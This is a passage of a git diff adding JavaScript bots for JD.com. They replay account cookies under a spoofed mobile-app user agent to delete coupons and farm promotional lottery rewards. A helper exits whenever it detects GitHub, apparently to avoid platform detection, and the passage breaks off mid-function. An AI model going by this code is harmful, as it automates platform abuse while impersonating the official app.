(title.indexOf('小鸽有礼') > -1) + return true + else if (title.indexOf('旗舰店') > -1) + return false + else if (title.indexOf('生鲜') > -1) + return true + else + return false +} + +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已删除优惠券】${delCount}张\n【跳过含关键词】${hasKeyword}张`); + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_desire.js b/jd_desire.js new file mode 100644 index 0000000..44d7640 --- /dev/null +++ b/jd_desire.js @@ -0,0 +1,411 @@ +/* +京东集魔方 +=========================== + +cron:2 0,11 * * * +============Quantumultx=============== +[task_local] +#集魔方 +2 0,11 * * * jd_desire.js, tag=集魔方, enabled=true + */ + +const $ = new Env('京东集魔方'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let uuid +$.shareCodes = [] +let hotInfo = {} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.sku = [] + $.sku2 = [] + $.adv = [] + $.hot = false + uuid = randomString(40) + await jdMofang() + hotInfo[$.UserName] = $.hot + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMofang() { + console.log(`\n集魔方 抽京豆 赢新品`) + await getInteractionInfo() +} + +//第二个 +async function getInteractionInfo(type = true) { + return new Promise(async (resolve) => { + $.post(taskPostUrl("getInteractionInfo", {"geo":{"lng":"106.47647010204035","lat":"29.502312842810458"},"mcChannel":0,"sign":3}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getInteractionInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + // console.log(data.result.taskPoolInfo.taskList); + if (type) { + $.interactionId = data.result.interactionId + $.taskPoolId = data.result.taskPoolInfo.taskPoolId + for (let key of Object.keys(data.result.taskPoolInfo.taskList)) { + let vo = data.result.taskPoolInfo.taskList[key] + if (vo.taskStatus === 0) { + if (vo.taskId === 2004) { + await queryPanamaFloor() + for (let id of $.sku2) { + $.complete = false + await executeNewInteractionTask(vo.taskId, id) + await $.wait(2000) + if ($.complete) break + } + } + if (vo.taskId === 2002) { + await qryCompositeMaterials() + for (let id of $.sku) { + $.complete = false + await executeNewInteractionTask(vo.taskId, id) + await $.wait(2000) + if ($.complete) break + } + } + if (vo.taskId === 2006) { + await qryCompositeMaterials2() + for (let id2 of $.adv) { + $.complete = false + await executeNewInteractionTask(vo.taskId, id2) + await $.wait(2000) + if ($.complete) break + } + } + } else { + console.log(`已找到当前魔方`) + } + } + data = await getInteractionInfo(false) + if (data.result.hasFinalLottery === 0) { + let num = 0 + for (let key of Object.keys(data.result.taskPoolInfo.taskRecord)) { + let vo = data.result.taskPoolInfo.taskRecord[key] + num += vo + } + if (num >= 9) { + console.log(`共找到${num}个魔方,可开启礼盒`) + await getNewFinalLotteryInfo() + } else { + console.log(`共找到${num}个魔方,不可开启礼盒`) + } + } else { + console.log(`已开启礼盒`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function queryPanamaFloor() { + return new Promise((resolve) => { + $.post(taskPostUrl("qryCompositeMaterials", {"geo":{"lng":"106.47647010204035","lat":"29.502312842810458"},"mcChannel":0,"activityId":"01235772","pageId":"3620025","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06327486\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryPanamaFloor API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + for (let skuVo of data.data.advData.list) { + $.sku2 = ["100038312438","100022213851","100038312444","100038962384","100023274622", "100035222536", "10051584954296", "10052442367186"] + $.sku2.push(skuVo.advertId) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function qryCompositeMaterials() { + return new Promise((resolve) => { + $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01235772","pageId":"3620025","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06327486\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + //console.log(data) + for (let key of Object.keys(data.data.advData.list)) { + let vo = data.data.advData.list[key] + if (vo.next && vo.next.productGroup) { + for (let key of Object.keys(vo.next.productGroup.list)) { + let skuVo = vo.next.productGroup.list[key] + $.sku.push(skuVo.skuId) + } + break + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function qryCompositeMaterials2() { + return new Promise((resolve) => { + $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01213138","pageId":"3513123","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06290597\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + //console.log(data); + for (let key of Object.keys(data.data.advData.list)) { + let vo = data.data.advData.list[key] + $.adv.push(vo.advertId) + // console.log($.adv); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function executeNewInteractionTask(taskType, advertId) { + body = { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": taskType, "advertId": advertId } + if (taskType === 2002) { + body = { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": taskType, "sku": advertId } + } + return new Promise((resolve) => { + $.post(taskPostUrl("executeNewInteractionTask", body), (err, resp, data) => { + // console.log(taskPostUrl("executeNewInteractionTask", body)); + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} executeNewInteractionTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.result.hasDown === 1) { + console.log(data.result.isLottery === 1 ? `找到了一个魔方,获得${data.result.lotteryInfoList[0].quantity || ''}${data.result.lotteryInfoList[0].name}` : `找到了一个魔方`) + $.complete = true + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function getNewFinalLotteryInfo() { + return new Promise((resolve) => { + $.post(taskPostUrl("getNewFinalLotteryInfo", { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId }), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getNewFinalLotteryInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.result.lotteryStatus === 1) { + console.log(`开启礼盒成功:获得${data.result.lotteryInfoList[0].quantity}${data.result.lotteryInfoList[0].name}`) + } else { + console.log(`开启礼盒成功:${data.result.toast}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + + +function taskPostUrl(functionId, body = {}) { + body = JSON.stringify(body) + if (functionId === "queryPanamaPage") body = escape(body) + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI((body))}&client=wh5&clientVersion=10.1.4&appid=content_ecology&uuid=${uuid}&t=${Date.now()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://prodev.m.jd.com', + 'Accept-Language': 'zh-cn', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://prodev.m.jd.com/mall/active/TqTRGRrp9HZTfeyRTL2UGmX4mHG/index.html?babelChannel=ttt30', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie + } + } +} + + +function taskSignUrl(url, body) { + return { + url, + body: `body=${escape(body)}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function randomString(e) { + let t = "abcdef0123456789" + if (e === 16) t = "abcdefghijklmnopqrstuvwxyz0123456789" + e = e || 32; + let a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? 